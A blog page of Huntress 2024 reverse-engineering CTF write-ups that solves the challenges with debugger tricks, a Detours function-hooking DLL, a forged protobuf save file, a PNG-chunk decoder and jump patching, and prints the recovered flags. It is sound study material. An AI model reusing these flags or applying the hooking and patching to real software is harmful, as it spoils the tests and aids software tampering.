[Writeup] Huntress 2024 (Reverse Engineering): In Plain Sight

sh3nLeave a comment

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

In this challenge, I learned that this binary is somewhat similar to Ghostpulse where it hides payload on the PNG. I was able to uncover this by checking some functions and saw that the binary loads a PNG resource file and it do some decryption routine.

EDIT: My solution to this is somewhat weird. After the event, the challenge creator revealed that the actual encrypted data wasn’t on the PNG itself. Until this day, I was still puzzled and looking for a “better” way to solve the challenge than my methodology explained below.

As stated in the article above, it do some crc and hashing checking to the PNG parts to identify location of the encrypted locations.

I first put a breakpoint on the cmp dword ptr [rsp+238h+var_1E8+0Ch], 0AAAAAAAAh. It seems like 0AAAAAAAAh is like an index for an encrypted message that the programs want to print out. You will notice this also in other parts, such as 0AAAAh, 0AAAAAh, 0AAAAAAh.

In the first breakpoint hit, you will see this:

Since, 0AAAAh is not equals to 0AAAAAAAAh, then it will just skip and proceed to the next iteration of loop. But what we can do here is to control the rip to proceed with the decryption block instead of reiterating the loop.

It did leaked the first encrypted message from the PNG file.

We just repeat these step to leak others as well.

We could go on to look other message, I think there are 12 encrypted messages there. But to cut short, this message is interesting.

Here are the IPs that we extracted.

10 25 3 103
10 5 13 54
10 185 7 102
172 21 29 54
172 20 20 51
172 30 27 54
192 168 34 57
192 168 71 6
10 76 2 97
10 199 9 97
192 168 245 16
172 25 31 54
192 168 226 0
10 215 6 57
192 168 41 1
10 212 10 49
10 119 16 50
10 0 0 102
172 30 21 57
192 168 43 2
192 168 113 16
172 26 24 100
192 168 89 12
172 21 33 101
192 168 37 125
172 17 19 49
10 169 8 52
10 179 4 123
172 29 22 50
192 168 180 8
172 28 26 97
172 24 23 50
192 168 40 18
172 16 30 98
10 13 1 108
192 168 42 0
172 16 17 102
10 105 11 55
192 168 36 49
172 30 18 56
172 24 25 99
192 168 100 12
192 168 35 97
172 30 28 99
172 27 32 53
192 168 58 18
10 184 15 101
192 168 50 15
10 129 5 53
10 126 12 98
10 32 14 57

Then lets sort it based on the 3rd octet

10 0 0 102
10 13 1 108
10 76 2 97
10 25 3 103
10 179 4 123
10 129 5 53
10 215 6 57
10 185 7 102
10 169 8 52
10 199 9 97
10 212 10 49
10 105 11 55
10 126 12 98
10 5 13 54
10 32 14 57
10 184 15 101
10 119 16 50
172 16 17 102
172 30 18 56
172 17 19 49
172 20 20 51
172 30 21 57
172 29 22 50
172 24 23 50
172 26 24 100
172 24 25 99
172 28 26 97
172 30 27 54
172 30 28 99
172 21 29 54
172 16 30 98
172 25 31 54
172 27 32 53
172 21 33 101
192 168 34 57
192 168 35 97
192 168 36 49
192 168 37 125
192 168 40 18
192 168 41 1
192 168 42 0
192 168 43 2
192 168 50 15
192 168 58 18
192 168 71 6
192 168 89 12
192 168 100 12
192 168 113 16
192 168 180 8
192 168 226 0
192 168 245 16

Then extract the 4th octet.

102
108
97
103
123
53
57
102
52
97
49
55
98
54
57
101
50
102
56
49
51
57
50
50
100
99
97
54
99
54
98
54
53
101
57
97
49
125
18
1
0
2
15
18
6
12
12
16
8
0
16

Convert to ASCII then remove the non-printable characters.

GGz!

[Writeup] Huntress 2024 (Reverse Engineering): Rusty Bin

sh3nLeave a comment

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

In this challenge we are given a binary to reverse. The flag is in the binary and we need to find it.

After some guessing we are able to get a clue. I tried finding the bytes on the memory but I couldn’t get whole flag.

So what I did was to look around more, and try to check some function calls.

These 2 function calls are somewhat weird to me. I tried to check arguments passed to these 2 functions. I found out that the 1st function is a XOR cipher, and the 2nd call is a XOR key. There was 14 loops on it, so meaning there are 14 ciphers. You can just write down those values and manually xor for around 30 mins, or build an automated solution for 2 hours. Pick your poison. lol.

So I choose the automated solution

// FunctionHooks.cpp : Defines the exported functions for the DLL application.
//
#define NOMINMAX // Prevents Windows headers from defining min and max macros
//#define AllowDebug // uncomment to show debug messages
#include "pch.h"
#include <windows.h>
#include "detours.h"
#include <cstdint>
#include <mutex>
#include <fstream>
#include <string>
#include <vector>
#include <queue>
#include <thread>
#include <condition_variable>
#include <atomic>
#include <sstream>
#include <iomanip>
#include <cctype> // For isprint
#include <intrin.h>

// 1. Define the function pointer type matching the target function's signature.
typedef __int64(__fastcall* sub_0x1AC0_t)(__int64 a1, __int64 a2, __int64 a3);

// 2. Replace with the actual module name containing the target function.
const char* TARGET_MODULE_NAME = "rusty_bin.exe"; // Ensure this matches the actual module name

// 3. Calculated RVA of the target function (0x1AC0 based on previous calculation)
const uintptr_t FUNCTION_RVA = 0x1AC0;

// 4. Declare a pointer to the original function.
sub_0x1AC0_t TrueFunction = nullptr;

// 5. Logging components
std::queue<std::string> logQueue;
std::mutex queueMutex;
std::condition_variable cv;
std::thread logThread;
std::atomic<bool> isLoggingActive(false);
std::ofstream logFile;

// 6. Data management components
std::vector<std::vector<unsigned char>> byteVectors;
bool isOdd = true;
std::mutex dataMutex;

// 9. Helper function to convert uintptr_t to hex string
std::string ToHex(uintptr_t value)
{
    std::stringstream ss;
    ss << "0x"
        << std::hex << std::uppercase << value;
    return ss.str();
}

// 7. Helper function to convert a single byte to hex string
std::string ByteToHex(unsigned char byte)
{
    char buffer[3];
    sprintf_s(buffer, sizeof(buffer), "%02X", byte);
    return std::string(buffer);
}

// 8. Helper function to convert a vector of bytes to hex string with spaces
std::string BytesToHex(const std::vector<unsigned char>& bytes)
{
    std::string hexStr;
    for (auto byte : bytes)
    {
        hexStr += ByteToHex(byte) + " ";
    }
    if (!hexStr.empty())
        hexStr.pop_back(); // Remove trailing space
    return hexStr;
}

// 19. Helper function to convert a vector of bytes to a human-readable string
std::string BytesToString(const std::vector<unsigned char>& bytes)
{
    std::string result;
    result.reserve(bytes.size());

    for (auto byte : bytes)
    {
        if (isprint(byte))
        {
            result += static_cast<char>(byte);
        }
        else
        {
            result += '.'; // Placeholder for non-printable characters
        }
    }

    return result;
}

// 10. Enqueue a log message
void LogMessage(const std::string& message)
{
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        logQueue.push(message);
    }
    cv.notify_one();
}

// 11. Logging thread function
void ProcessLogQueue()
{
    while (isLoggingActive)
    {
        std::unique_lock<std::mutex> lock(queueMutex);
        cv.wait(lock, [] { return !logQueue.empty() || !isLoggingActive; });

        while (!logQueue.empty())
        {
            std::string msg = logQueue.front();
            logQueue.pop();
            lock.unlock(); // Unlock while writing to minimize lock contention

            if (logFile.is_open())
            {
                logFile << msg;
                // Optionally, implement log rotation or size checks here
            }

            lock.lock();
        }
    }

    // Flush remaining messages before exiting
    while (true)
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        if (logQueue.empty())
            break;

        std::string msg = logQueue.front();
        logQueue.pop();

        if (logFile.is_open())
        {
            logFile << msg;
        }
    }
}

// 12. Initialize logging system
bool InitializeLogging()
{
    {
        std::lock_guard<std::mutex> guard(queueMutex);
        logFile.open("rusty_bin.log", std::ios::out | std::ios::app);
        if (!logFile.is_open())
        {
            return false;
        }
    }

    isLoggingActive = true;
    logThread = std::thread(ProcessLogQueue);
    return true;
}

// 13. Shutdown logging system
void ShutdownLogging()
{
    isLoggingActive = false;
    cv.notify_one();
    if (logThread.joinable())
    {
        logThread.join();
    }

    {
        std::lock_guard<std::mutex> guard(queueMutex);
        if (logFile.is_open())
        {
            logFile.close();
        }
    }
}

// 14. Implement the HookedFunction with the same signature.
__int64 __fastcall HookedFunction(__int64 a1, __int64 a2, __int64 a3)
{
    // Retrieve the return address using the MSVC intrinsic
    void* returnAddress = _ReturnAddress();

    // Get the base address of the target module
    HMODULE hModule = GetModuleHandleA(TARGET_MODULE_NAME);
    if (!hModule)
    {
        // If unable to get module handle, log and call the true function
        std::string errorLog = "Failed to get module handle for " + std::string(TARGET_MODULE_NAME) + ".\n";
#ifdef AllowDebug
        LogMessage(errorLog);
#endif
        return TrueFunction(a1, a2, a3);
    }

    uintptr_t moduleBase = reinterpret_cast<uintptr_t>(hModule);
    uintptr_t retAddr = reinterpret_cast<uintptr_t>(returnAddress);
    uintptr_t rva = retAddr - moduleBase;

    // Define the specific RVAs to check against
    const std::vector<uintptr_t> validRVAs = { 0x17B1, 0x17C8 };

    // Check if the return address RVA matches 0x17B1 or 0x17C8
    bool shouldProcess = false;
    for (auto& validRVA : validRVAs)
    {
        if (rva == validRVA)
        {
            shouldProcess = true;
            break;
        }
    }

    if (shouldProcess)
    {
        // Convert a1 and a3 to uintptr_t using static_cast
        uintptr_t ptrA1 = static_cast<uintptr_t>(a1);
        uintptr_t ptrA3 = static_cast<uintptr_t>(a3);

        // Log the function call parameters using ToHex
        std::string logMessage = "HookedFunction called with a1=" + ToHex(ptrA1) +
            ", a2=" + std::to_string(a2) + ", a3=" + ToHex(ptrA3) + "\n";
#ifdef AllowDebug
        LogMessage(logMessage);
#endif

        // Initialize variables for reading bytes
        std::vector<unsigned char> currentBytes;
        __int64 result = 0;

        // Check if a1 is valid and a2 is positive
        if (a1 != 0 && a2 > 0)
        {
            unsigned char* buffer = reinterpret_cast<unsigned char*>(a1);

            // Reserve space to minimize reallocations
            currentBytes.reserve(static_cast<size_t>(a2));

            for (size_t i = 0; i < static_cast<size_t>(a2); ++i)
            {
                unsigned char byte = buffer[i];
                currentBytes.push_back(byte);
            }

            // Convert bytes to hex string
            std::string bytesHex = BytesToHex(currentBytes);

            // Log the bytes read
#ifdef AllowDebug
            LogMessage("Bytes read: " + bytesHex + "\n");
#endif
        }
        else
        {
            // Log invalid parameters
            std::string invalidParamsLog = "Invalid a1 or a2. a1: " + ToHex(ptrA1) +
                ", a2: " + std::to_string(a2) + "\n";
#ifdef AllowDebug
            LogMessage(invalidParamsLog);
#endif
        }

        // Data management: Handle isOdd and byteVectors
        {
            std::lock_guard<std::mutex> guard(dataMutex);
            if (isOdd)
            {
                // Odd call: push the bytes read to byteVectors
                byteVectors.push_back(currentBytes);
#ifdef AllowDebug
                LogMessage("Pushed bytes to array.\n");
#endif
            }
            else
            {
                // Even call: perform XOR with the last vector in byteVectors
                if (!byteVectors.empty())
                {
                    const std::vector<unsigned char>& lastVector = byteVectors.back();
                    size_t minSize = (currentBytes.size() < lastVector.size()) ? currentBytes.size() : lastVector.size();

                    std::vector<unsigned char> xorResult;
                    xorResult.reserve(minSize);

                    for (size_t i = 0; i < minSize; ++i)
                    {
                        xorResult.push_back(currentBytes[i] ^ lastVector[i]);
                    }

                    // Convert XOR result to hex string
                    std::string xorHex = BytesToHex(xorResult);

                    // Convert XOR result to human-readable string
                    std::string xorString = BytesToString(xorResult);

                    // Log both hex and string representations
#ifdef AllowDebug
                    LogMessage("XOR output (Hex): " + xorHex + "\n");
#endif
                    LogMessage("XOR output (String): " + xorString + "\n");
                }
                else
                {
#ifdef AllowDebug
                    // Log that there's no previous vector to XOR with
                    LogMessage("No previous byte vector to XOR with.\n");
#endif
                }
            }

            // Toggle isOdd for the next call
            isOdd = !isOdd;
        }

        // Call the original function
        result = TrueFunction(a1, a2, a3);

        // Log the function result
        std::string resultLog = "Original function returned " + std::to_string(result) + "\n";
#ifdef AllowDebug
        LogMessage(resultLog);
#endif

        // Return the original result
        return result;
    }
    else
    {
        // If the return address RVA is not 0x17B1 or 0x17C8, directly call the true function
        return TrueFunction(a1, a2, a3);
    }
}

// 15. Function to dynamically resolve the target function's address
sub_0x1AC0_t GetTargetFunctionAddress()
{
    HMODULE hModule = GetModuleHandleA(TARGET_MODULE_NAME);
    if (!hModule)
    {
#ifdef AllowDebug
        LogMessage("Failed to get handle of target module: " + std::string(TARGET_MODULE_NAME) + "\n");
#endif
        return nullptr;
    }

    // Calculate the absolute address by adding the RVA to the module's base address.
    uintptr_t funcAddr = reinterpret_cast<uintptr_t>(hModule) + FUNCTION_RVA;
    return reinterpret_cast<sub_0x1AC0_t>(funcAddr);
}

// 16. Attach hooks
BOOL AttachHooks()
{
    // Initialize logging system
    if (!InitializeLogging())
    {
        // If the log file cannot be opened, return FALSE to prevent hooking
        return FALSE;
    }

    // Dynamically resolve the original function address
    TrueFunction = GetTargetFunctionAddress();
    if (!TrueFunction)
    {
#ifdef AllowDebug
        LogMessage("TrueFunction is null. Cannot attach hook.\n");
#endif
        ShutdownLogging();
        return FALSE;
    }

    // Begin a Detour transaction
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());

    // Attach the hooked function
    DetourAttach(&(PVOID&)TrueFunction, HookedFunction);

    // Commit the transaction
    LONG error = DetourTransactionCommit();
    if (error == NO_ERROR)
    {
#ifdef AllowDebug
        LogMessage("Hooks successfully attached.\n");
#endif
        return TRUE;
    }
    else
    {
#ifdef AllowDebug
        LogMessage("Failed to attach hooks. Error code: " + std::to_string(error) + "\n");
#endif
        ShutdownLogging();
        return FALSE;
    }
}

// 17. Detach hooks
BOOL DetachHooks()
{
    // Begin a Detour transaction
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());

    // Detach the hooked function
    DetourDetach(&(PVOID&)TrueFunction, HookedFunction);

    // Commit the transaction
    LONG error = DetourTransactionCommit();
    if (error == NO_ERROR)
    {
#ifdef AllowDebug
        LogMessage("Hooks successfully detached.\n");
#endif
        // Shutdown logging system
        ShutdownLogging();
        return TRUE;
    }
    else
    {
#ifdef AllowDebug
        LogMessage("Failed to detach hooks. Error code: " + std::to_string(error) + "\n");
#endif
        return FALSE;
    }
}

// 18. DLL entry point
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hinst);
        DetourRestoreAfterWith();
        if (!AttachHooks())
        {
            // Handle hook attachment failure if necessary
            // Note: At this point, logging might not be fully operational
        }
        break;
    case DLL_PROCESS_DETACH:
        if (!DetachHooks())
        {
            // Handle hook detachment failure if necessary
        }
        break;
    }
    return TRUE;
}

Flag

XOR output (String): flag
XOR output (String): {e65
XOR output (String): cafb
XOR output (String): c80b
XOR output (String): d66a
XOR output (String): 1964
XOR output (String): b2e9
XOR output (String): debe
XOR output (String): f3ca
XOR output (String): e}
XOR output (String): the password
XOR output (String): What is 'the password'
XOR output (String): Wrong Password
XOR output (String): Correct Password! Here's a clue!

[Writeup] Huntress 2024 (Reverse Engineering): That’s Life

sh3nLeave a comment

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

THIS IS ONE OF MY FAVORITE CHALLEGE FOR HUNTRESS 2024 AS THIS REMIND’S ME OF VERITASIUM’S “MATH’S FUNDAMENTAL FLAW”

Upon initial triage, the binary is built from protobuf and every tick is saved in file named game_state.pb. Upon observation, there are 12 X and O below the game screen. Sometimes they switch. Based from inference, we must at least meet all 12 to be O. A single O, means a condition was met, so we must investigate to get the conditions so we can probably win this game.

We start first by extracting the protobuf definitions from the binary using https://github.com/arkadiyt/protodump.

syntax = "proto3";

package thats_life;

option go_package = "github.com/HuskyHacks/thats_life/pb;pb";

message Cell {
    bool alive = 1;
    int32 color = 2;
}

message CellRow {
    repeated Cell cells = 1;
}

message Grid {
    int32 width = 1;
    int32 height = 2;
    repeated CellRow rows = 3;
}

We are able to get the protobuf definition. Now we try to parse the game_state.pb

// cmd/deserialize.go

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "strings"

    "example.com/m/v2/pb"
    "google.golang.org/protobuf/proto"
)

func main() {
    // Path to the serialized Grid file
    filePath := "game_state.pb"

    // Read the serialized Grid from the file
    data, err := ioutil.ReadFile(filePath)
    if err != nil {
        log.Fatalf("Failed to read file %s: %v", filePath, err)
    }

    // Create an empty Grid object
    var grid pb.Grid

    // Deserialize the data into the Grid object
    err = proto.Unmarshal(data, &grid)
    if err != nil {
        log.Fatalf("Failed to deserialize Grid: %v", err)
    }

    // Generate Go code representation
    goCode := formatGridAsGoCode("grid", &grid)

    // Print the generated Go code
    fmt.Println(goCode)
}

// formatGridAsGoCode formats the Grid object into a Go code snippet
func formatGridAsGoCode(varName string, grid *pb.Grid) string {
    var sb strings.Builder

    sb.WriteString(fmt.Sprintf("%s := &pb.Grid{\n", varName))
    sb.WriteString(fmt.Sprintf("    Width:  %d,\n", grid.Width))
    sb.WriteString(fmt.Sprintf("    Height: %d,\n", grid.Height))
    sb.WriteString("    Rows: []*pb.CellRow{\n")

    for _, row := range grid.Rows {
        sb.WriteString("        {\n")
        sb.WriteString("            Cells: []*pb.Cell{\n")
        for _, cell := range row.Cells {
            sb.WriteString(fmt.Sprintf("                {Alive: %t, Color: %d},\n", cell.Alive, cell.Color))
        }
        sb.WriteString("            },\n")
        sb.WriteString("        },\n")
    }

    sb.WriteString("    },\n")
    sb.WriteString("}\n")

    return sb.String()
}

We have successfully deserialized the pb file. Therefore we can create a solution too by forging our own data based on winning conditions and serialize it.

Upon further reverse engineering, there is a win criteria generation in the binary.

Upon investigating the qwordWinCriteria, it seems like it stores the data for the win condition.

Entry 0:
- Field 0 (Row):    0x0A00000000000000 -> 10
- Field 8 (Column): 0x0F00000000000000 -> 15
- Field 16 (Value): 0x1F00000000000000 -> 31

Entry 1:
- Field 0 (Row):    0x1400000000000000 -> 20
- Field 8 (Column): 0x1900000000000000 -> 25
- Field 16 (Value): 0x2000000000000000 -> 32

... and so on.

With these information, we are now ready to craft the solution.

// serialize.go
package main

import (
    "log"
    "os"

    "example.com/m/v2/pb"
    "google.golang.org/protobuf/proto"
)

func main() {
    // Define the win criteria
    winCriteria := []struct {
        Row    int32
        Column int32
        Color  int32
    }{
		{10, 15, 31},
		{20, 25, 32},
		{30, 35, 33},
		{40, 45, 34},
		{25, 50, 35},
		{5, 55, 36},
		{15, 60, 37},
		{35, 65, 31},
		{45, 70, 32},
		{0, 75, 33},
		{1, 80, 34},
		{2, 85, 35},
    }

    // Initialize the grid
    width := int32(400)
    height := int32(50)
    grid := &pb.Grid{
        Width:  width,
        Height: height,
        Rows:   make([]*pb.CellRow, height),
    }

    // Initialize all cells to dead and color 0
    for i := int32(0); i < height; i++ {
        row := &pb.CellRow{
            Cells: make([]*pb.Cell, width),
        }
        for j := int32(0); j < width; j++ {
            row.Cells[j] = &pb.Cell{
                Alive: false,
                Color: 0,
            }
        }
        grid.Rows[i] = row
    }

    // Apply the win criteria
    for _, wc := range winCriteria {
        if wc.Row >= 0 && wc.Row < height && wc.Column >= 0 && wc.Column < width {
            grid.Rows[wc.Row].Cells[wc.Column].Alive = true
            grid.Rows[wc.Row].Cells[wc.Column].Color = wc.Color
        } else {
            log.Fatalf("Win criteria position out of bounds: (%d, %d)", wc.Row, wc.Column)
        }
    }

    // Serialize the Grid to binary format
    data, err := proto.Marshal(grid)
    if err != nil {
        log.Fatalf("Failed to serialize Grid: %v", err)
    }

    // Write to a file
    file, err := os.Create("game_state.pb") // The game expects this filename
    if err != nil {
        log.Fatalf("Failed to create file: %v", err)
    }
    defer file.Close()

    _, err = file.Write(data)
    if err != nil {
        log.Fatalf("Failed to write data to file: %v", err)
    }

    log.Println("Grid serialized to game_state.pb successfully.")
}

[Writeup] Huntress 2024 (Reverse Engineering): OceanLocust

sh3nLeave a comment

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

We are given a png file and a binary with it. Upon initial triage, seems like the binary is a tool for Steganography. Our task is to retrieve the file from the png by reversing the binary and make a decryption tool.

Finding the entry point:

Now we reverse this gigantic function.

First, let’s understand the PNG file.

1. Understand the PNG File Structure

PNG files consist of an 8-byte signature followed by a series of chunks. Each chunk has the following format:

  • Length: 4 bytes (big-endian integer)
  • Chunk Type: 4 bytes (ASCII characters)
  • Chunk Data: Variable length
  • CRC: 4 bytes (Cyclic Redundancy Check)

Standard chunk types include IHDR, PLTE, IDAT, and IEND. However, PNG files can also contain custom ancillary chunks, which can be used to store additional data without affecting the image’s visual appearance.

2. Identify Custom Chunks

From the code snippet, it seems the application is adding custom chunks to the PNG file. Look for chunk types that are not standard. In the code, you can see references to functions that handle chunks, such as sub_140005D60, which appears to add a chunk with a given type.

sub_140005D60(&v70, &v50, "IHDR", 4i64);

But since IHDR is a standard chunk, look for other custom chunk types being used. Since the code is obfuscated, we might not see the actual chunk names directly. However, we can infer that custom chunks are being added to store the flag data.

So what I did was to put a breakpoint at `v19 = v69` as this variables would likely contain the information how the chunks are stored.

1st bp hit:

debug023:0000023C584F7EC0                 db  62h ; b
debug023:0000023C584F7EC1                 db  69h ; i
debug023:0000023C584F7EC2                 db  54h ; T
debug023:0000023C584F7EC3                 db  61h ; a
debug023:0000023C584F7EC4                 db  3Ch ; <
debug023:0000023C584F7EC5                 db    2

2nd bp hit:

debug023:0000023C584F7EC0                 db  62h ; b
debug023:0000023C584F7EC1                 db  69h ; i
debug023:0000023C584F7EC2                 db  54h ; T
debug023:0000023C584F7EC3                 db  62h ; b
debug023:0000023C584F7EC4                 db  3Ch ; <
debug023:0000023C584F7EC5                 db    2

3rd bp hit:

debug023:0000023C584F7EC0                 db  62h ; b
debug023:0000023C584F7EC1                 db  69h ; i
debug023:0000023C584F7EC2                 db  54h ; T
debug023:0000023C584F7EC3                 db  63h ; c
debug023:0000023C584F7EC4                 db  3Ch ; <
debug023:0000023C584F7EC5                 db    2

It just repeats, but only the 0000023C584F7EC3 changes alphabetically until reaching `i`.

Notable Patterns:

  • The bytes at offsets 0 to 2 are constant: 'b', 'i', 'T'.
  • The byte at offset 3 changes from 'a' to 'b' to 'c', incrementing alphabetically up to 'i'.
  • The rest of the bytes remain constant or contain padding.

Interpreting the Data

Given that the data starts with 'biT' followed by a changing letter, it’s likely that this forms a chunk type in the PNG file.

Chunk Type Formation:

Chunk Type: 4 ASCII characters.

The observed chunk types are:

  • 'biTa'
  • 'biTb'
  • 'biTc'
  • …
  • 'biTi'

Understanding the Application’s Behavior

From your decompiled code and observations, the application seems to:

  1. Create Custom PNG Chunks:
    • It generates multiple custom chunks with types 'biTa', 'biTb', …, 'biTi'.
    • These chunks are likely used to store encrypted portions of the flag.
  2. Encrypt Flag Data:
    • The flag is divided into segments.
    • Each segment is XORed with a key derived from the chunk type or chunk data.
    • The encrypted segments are stored in the corresponding custom chunks.
  3. Key Derivation:
    • The key used for XORing seems to be derived from the chunk data (v69) or possibly the chunk type.
    • Since v19 = v69, and v69 points to the data starting with 'biTa', it’s possible that the chunk data itself is used as the key.

Reversing the Process

To extract and decode the embedded flag, we’ll need to:

  1. Parse the PNG File and Extract Custom Chunks:
    • Read the PNG file and extract all chunks, including custom ones with types 'biTa', 'biTb', …, 'biTi'.
  2. Collect Encrypted Data and Keys:
    • For each custom chunk:
      • Extract the encrypted data (chunk data).
      • Derive the key from the chunk data or type.
  3. Decrypt the Data:
    • XOR the encrypted data with the derived key to recover the original flag segments.
    • Concatenate the decrypted segments to reconstruct the full flag.

1. Read the PNG File and Extract Chunks

import struct

def read_chunks(file_path):
    with open(file_path, 'rb') as f:
        # Read the PNG signature
        signature = f.read(8)
        if signature != b'\x89PNG\r\n\x1a\n':
            raise Exception('Not a valid PNG file')

        chunks = []
        while True:
            # Read the length (4 bytes)
            length_bytes = f.read(4)
            if len(length_bytes) < 4:
                break  # End of file
            length = struct.unpack('>I', length_bytes)[0]

            # Read the chunk type (4 bytes)
            chunk_type = f.read(4).decode('ascii')

            # Read the chunk data
            data = f.read(length)

            # Read the CRC (4 bytes)
            crc = f.read(4)

            chunks.append({
                'type': chunk_type,
                'data': data,
                'crc': crc
            })

        return chunks

2. Identify Custom Chunks

def extract_custom_chunks(chunks):
    standard_chunks = {
        'IHDR', 'PLTE', 'IDAT', 'IEND', 'tEXt', 'zTXt', 'iTXt',
        'bKGD', 'cHRM', 'gAMA', 'hIST', 'iCCP', 'pHYs', 'sBIT',
        'sPLT', 'sRGB', 'tIME', 'tRNS'
    }
    custom_chunks = []
    for chunk in chunks:
        if chunk['type'] not in standard_chunks:
            custom_chunks.append(chunk)
    return custom_chunks

3. Sort Chunks Based on Sequence

def sort_custom_chunks(chunks):
    # Sort chunks based on the fourth character of the chunk type
    return sorted(chunks, key=lambda c: c['type'][3])

4. Extract Encrypted Data and Keys

def derive_key_from_chunk_type(chunk_type):
    return chunk_type.encode('ascii')

5. Decrypt the Encrypted Data

def xor_decrypt(data, key):
    decrypted = bytearray()
    key_length = len(key)
    for i in range(len(data)):
        decrypted_byte = data[i] ^ key[i % key_length]
        decrypted.append(decrypted_byte)
    return bytes(decrypted)

6. Combine Decrypted Segments

def extract_flag_from_chunks(chunks):
    flag_parts = []
    for chunk in chunks:
        key = derive_key_from_chunk_type(chunk['type'])
        # Or use derive_key_from_chunk_data(chunk)
        encrypted_data = chunk['data']
        decrypted_data = xor_decrypt(encrypted_data, key)
        flag_parts.append(decrypted_data)
    flag = b''.join(flag_parts)
    return flag.decode()

7. Full Extraction Script

def extract_flag(file_path):
    chunks = read_chunks(file_path)
    custom_chunks = extract_custom_chunks(chunks)
    sorted_chunks = sort_custom_chunks(custom_chunks)
    flag = extract_flag_from_chunks(sorted_chunks)
    return flag

# Example usage
flag = extract_flag('embedded_flag.png')
print("Recovered Flag:", flag)

Full Code

import struct
import sys

def read_chunks(file_path):
    """
    Reads all chunks from a PNG file.

    :param file_path: Path to the PNG file.
    :return: List of chunks with their type, data, and CRC.
    """
    chunks = []
    with open(file_path, 'rb') as f:
        # Read the PNG signature (8 bytes)
        signature = f.read(8)
        if signature != b'\x89PNG\r\n\x1a\n':
            raise Exception('Not a valid PNG file')

        while True:
            # Read the length of the chunk data (4 bytes, big-endian)
            length_bytes = f.read(4)
            if len(length_bytes) < 4:
                break  # End of file reached
            length = struct.unpack('>I', length_bytes)[0]

            # Read the chunk type (4 bytes)
            chunk_type = f.read(4).decode('ascii')

            # Read the chunk data
            data = f.read(length)

            # Read the CRC (4 bytes)
            crc = f.read(4)

            chunks.append({
                'type': chunk_type,
                'data': data,
                'crc': crc
            })

    return chunks

def extract_custom_chunks(chunks):
    """
    Filters out standard PNG chunks to extract custom chunks.

    :param chunks: List of all chunks from the PNG file.
    :return: List of custom chunks.
    """
    standard_chunks = {
        'IHDR', 'PLTE', 'IDAT', 'IEND', 'tEXt', 'zTXt', 'iTXt',
        'bKGD', 'cHRM', 'gAMA', 'hIST', 'iCCP', 'pHYs', 'sBIT',
        'sPLT', 'sRGB', 'tIME', 'tRNS'
    }
    custom_chunks = []
    for chunk in chunks:
        if chunk['type'] not in standard_chunks:
            custom_chunks.append(chunk)
    return custom_chunks

def sort_custom_chunks(chunks):
    """
    Sorts custom chunks based on the fourth character of the chunk type.

    :param chunks: List of custom chunks.
    :return: Sorted list of custom chunks.
    """
    return sorted(chunks, key=lambda c: c['type'][3])

def derive_key_from_chunk_type(chunk_type):
    """
    Derives the key from the chunk type.

    :param chunk_type: Type of the chunk (string).
    :return: Key as bytes.
    """
    return chunk_type.encode('ascii')

def xor_decrypt(data, key):
    """
    Decrypts data by XORing it with the key.

    :param data: Encrypted data as bytes.
    :param key: Key as bytes.
    :return: Decrypted data as bytes.
    """
    decrypted = bytearray()
    key_length = len(key)
    for i in range(len(data)):
        decrypted_byte = data[i] ^ key[i % key_length]
        decrypted.append(decrypted_byte)
    return bytes(decrypted)

def extract_flag_from_chunks(chunks):
    """
    Extracts and decrypts the flag from custom chunks.

    :param chunks: List of sorted custom chunks.
    :return: Decrypted flag as a string.
    """
    flag_parts = []
    for chunk in chunks:
        key = derive_key_from_chunk_type(chunk['type'])
        encrypted_data = chunk['data']
        decrypted_data = xor_decrypt(encrypted_data, key)
        flag_parts.append(decrypted_data)
    flag = b''.join(flag_parts)
    # Remove padding if any (e.g., 0xAB bytes)
    flag = flag.rstrip(b'\xAB')
    return flag.decode('utf-8', errors='replace')

def extract_flag(file_path):
    """
    Main function to extract the flag from the PNG file.

    :param file_path: Path to the PNG file.
    :return: Decrypted flag as a string.
    """
    # Read all chunks from the PNG file
    chunks = read_chunks(file_path)
    # Extract custom chunks where the flag is hidden
    custom_chunks = extract_custom_chunks(chunks)
    # Sort the custom chunks based on their sequence
    sorted_chunks = sort_custom_chunks(custom_chunks)
    # Extract and decrypt the flag from the custom chunks
    flag = extract_flag_from_chunks(sorted_chunks)
    return flag

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: python extract_flag.py <path_to_png_file>")
        sys.exit(1)
    png_file_path = sys.argv[1]
    try:
        recovered_flag = extract_flag(png_file_path)
        print("Recovered Flag:", recovered_flag)
    except Exception as e:
        print("An error occurred:", str(e))
        sys.exit(1)

Flag!

[Writeup] Huntress 2024 (Reverse Engineering): GoCrackMe3

sh3nLeave a comment

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

This challenge is an executable file with areas or regions that can never be reached due to logic conditions built in. The challenge is to redirect the flow to force it reach the memory regions that contains the flag.

In the main function:

Notice that what ever happens, it always lands on that else block. How about we force it to satisfy the condition to true? Or just simply nop the jump to the else block

Before:

After:

Another interesting function is this one.

However, the logic prevents in getting to that block so we patch it.

Before:

After:

We also notice a function return that prevents us going further down. So we patch it too.

Before:

After:

Now we are going places.

And then, there’s another one.

Before:

After:

However, no flag here:

So we put breakpoint before the function ends.

Then we search for flag signature

GGz!

Detecting Living Off the Land (LotL) Attacks on Windows Systems

sh3nLeave a comment

Understanding Living Off the Land (LotL) Techniques

During the SEC530 course I took a few weeks ago, one of the key takeaways was the importance of blue teaming and the continuous effort to secure and defend an organization’s perimeter. A significant aspect of this defense is understanding and detecting Living off the Land (LotL) techniques. These techniques are emphasized in SEC530 as critical to modern defense strategies.

